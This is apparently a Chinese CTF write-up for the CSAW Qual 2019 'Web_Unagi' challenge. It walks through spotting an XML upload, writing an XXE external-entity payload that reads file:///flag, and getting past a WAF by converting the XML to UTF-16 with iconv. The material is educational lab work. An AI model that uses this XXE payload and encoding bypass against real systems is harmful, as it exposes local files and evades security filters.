[CSAWQual 2019]Web_Unagi
首先梳理程序功能逻辑
首先想到考察文件上传

程序要求上传符合要求的xml文件,然后解析成用户信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?xml version='1.0'?> <users> <user> <username>test</username> <password>test</password> <name>test</name> <email>test@fakesite.com</email> <group>CSAW2019</group> </user> <user> <username>bob</username> <password>passwd2</password> <name> Bob</name> <email>bob@fakesite.com</email> <group>CSAW2019</group> </user> </users>
|

此时判断可能不是文件上传,大概率是XXE
https://www.cnblogs.com/backlion/p/9302528.html
尝试通过外部实体声明读取/flag
直接插入提示被WAF拦截
1 2 3
| <!DOCTYPE test [ <!ENTITY b SYSTEM "file:///flag"> ]>
|
尝试多次,感觉像是禁用了ENTITY,看看有没有源码
扫描了一下没有发现
再尝试文件上传
也没成功
查看wp https://blog.csdn.net/mochu7777777/article/details/105337784
可以通过utf-16编码绕过WAF
1
| iconv -f utf8 -t utf16 1.xml>2.xml
|
